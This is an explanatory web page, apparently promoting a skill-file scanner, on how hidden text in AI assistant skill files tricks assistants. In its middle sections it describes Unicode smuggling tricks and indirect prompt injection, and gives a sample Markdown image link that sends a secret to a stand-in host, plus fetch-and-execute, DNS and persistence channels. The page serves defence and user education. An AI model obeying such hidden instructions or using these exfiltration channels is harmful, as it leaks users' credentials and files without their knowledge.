Skip to content
Learn

How AI assistants get tricked, and what you can do.

No fear-mongering and no jargon wall. Every section comes at two depths — pick the one you want, switch any time. Nothing here needs you to be a programmer.

01

What does an assistant actually load?

When you ask an AI assistant to do something, it doesn't only see your message. It also sees instructions it was given beforehand — including files you installed called skills.

A skill is a plain text file. It says things like "when the user mentions a PDF, do this." You can open one in Notepad. There is no compiler, no signature, no app store review. You download it, drop it in a folder, and from then on your assistant reads it every time it might be relevant.

That is genuinely useful — it is how you teach an assistant your workflow. It also means whoever wrote that file is talking to your assistant, in your session, with your permissions.

A skill is a Markdown file with YAML front-matter, conventionally SKILL.md. The front-matter carries a name, a description the runtime uses to decide relevance, and often an allowed-tools list. The body is prose instructions injected into the model's context.

Three properties make this a supply chain rather than a config format:

  • No integrity layer. No signature, no checksum, no publisher identity. The file is trusted because it is on disk.
  • Context-level privilege. Injected text is not sandboxed from your request. It arrives as instruction, not as data.
  • Silent updates. Pull the repository, sync the plugin, and the file that runs tomorrow is not the file you read today.

allowed-tools constrains the verb. It says nothing about the objectRead is a true and useless description of a skill that reads your private keys.

02

How can text hide something?

Not every character in a text file makes a mark on the screen. Some are there to control spacing or letter shapes, and they render as nothing at all — but they still exist in the file, they survive copy and paste, and a program reading the file sees them perfectly.

So you can write a paragraph that looks completely normal, and slip a second, invisible paragraph in between two sentences. Your eyes see a PDF helper. The assistant reads the PDF helper plus the hidden part.

There are variations on the trick: characters from other alphabets that look identical to ours (a Russian с is not a Latin c, but you cannot tell), and characters that make a line display in a different order than it actually runs.

Unicode has several ranges with no visual footprint that survive normal text handling:

  • Zero-width characters (U+200BU+200D, U+FEFF) — used as bits, eight per smuggled character.
  • The Tags block (U+E0000U+E007F) — a complete shadow ASCII alphabet, offset by a fixed amount, rendering as nothing.
  • Variation selectors (U+FE00U+FE0F, U+E0100U+E01EF) — one byte each, attaching invisibly to the preceding glyph, commonly an emoji.
  • Bidirectional overrides (U+202AU+202E) — reorder how a line displays without changing what executes. Published as Trojan Source.
  • Confusables — mixed-script homoglyphs that defeat both a reader and a literal denylist.

The countermeasure is not detection alone but recovery: decode the carrier back to text and show the reviewer the sentence. A finding that says "1,000 invisible codepoints" is a curiosity; one that prints what they spell is an argument.

03

What can actually go wrong?

The hidden text is an instruction, and the assistant treats instructions as instructions. The realistic bad outcomes are ordinary ones:

  • Something is read that should not be. Password files, access tokens, browser sessions.
  • Something leaves your machine. Often not as an obvious upload — an image link is enough, because displaying an image means requesting a URL, and the data can ride along in that URL.
  • Something is done quietly. The hidden text can ask the assistant not to mention what it did.

None of that needs a clever exploit or a bug in the software. It just needs you to install a file nobody checked.

This is indirect prompt injection: the payload arrives through content the model consumes rather than through the user turn. The interesting part is not the instruction, it is the egress channel.

  • Markdown image beacons. ![x](https://host/p?d=SECRET) is fetched by the client at render time. No tool call, no approval prompt, and the data has already left before anyone reads the reply.
  • Fetch-and-execute. A pipeline that pipes a download straight into a shell — the reviewed URL and the executed bytes are different objects, and the server picks when they differ.
  • DNS. Rarely filtered, rarely logged at the same fidelity as HTTP.
  • Persistence. A scheduled task or a shell profile line outlives removal of the skill entirely.

Defences that only inspect tool calls miss the first one completely, which is why the image-beacon rule is scored critical.

04

Which models and providers can you trust?

You cannot read a model's mind, and nobody can hand you a certificate that one is honest. What you can control is much more practical:

  • Where it runs. A model on your own machine cannot send your files anywhere, because it has no network of its own.
  • What it can reach. Most damage needs a tool — reading files, running commands, opening URLs. Grant those deliberately.
  • Whether you can swap it out. Software that locks you to one provider has made the decision for you. Software that speaks a standard interface lets you change your mind.

Be sceptical of anyone claiming a model is "verified safe". The honest claim is narrower and more useful: this is what it can reach, and here is how you change that.

Model provenance is a genuinely open problem. Weights are not meaningfully auditable by reading them, published evaluations are self-reported, and "safety-tuned" says something about refusal behaviour rather than about backdoors. Treat the model as untrusted and constrain the boundary instead:

  • Egress is the real control. Local inference removes the exfiltration channel outright. If you must use a hosted endpoint, know which one and log it.
  • Tool surface over model choice. Capability granted, not model identity, determines blast radius. Enumerate what each tool can touch.
  • Interface portability. An OpenAI-compatible endpoint is a commitment you can reverse; a proprietary integration is not.
  • Content provenance separately. Even a perfectly honest model will faithfully follow an instruction that was smuggled into its context. Model trust and content trust are different problems, and this site is about the second one.
05

What should you actually do?

Five habits, in order of how much they buy you:

  1. Know what you have installed. Most people have never looked. That is the first surprise.
  2. Check anything from a stranger before you install it — not by squinting at it, but with something that reads the bytes.
  3. Write down what you approved. Then a later change becomes visible instead of invisible.
  4. Re-check now and then. The file that changes after you approved it is the one worth catching.
  5. Grant permissions narrowly. If a skill only needs to read, it does not need to run commands.

Operationally, the checklist maps onto four commands and a CI job:

# what is installed, and does any of it carry something hidden
airlock scan --installed

# record the decision as a signed lockfile
airlock keygen && airlock lock ~/.claude/skills

# enforce it — exit 1 on any drift
airlock verify ~/.claude/skills

The verification step is the one that matters, because scanning is a point-in-time statement and skills update silently. Pin the bytes, put verify in continuous integration, and a change cannot reach your main branch without somebody seeing it.

Two failure modes worth internalising: a pass means no rule matched, not that the file is safe; and a heuristic finding is a prompt to look, not a verdict. Any tool that blurs those two is training you to ignore it.


Try it on your own machine

Three commands, no account, nothing uploaded. It reads bytes and exits.

Something here unclear?

Ask in the forum. Beginner questions are the point of it — there is no such thing as one that is too basic.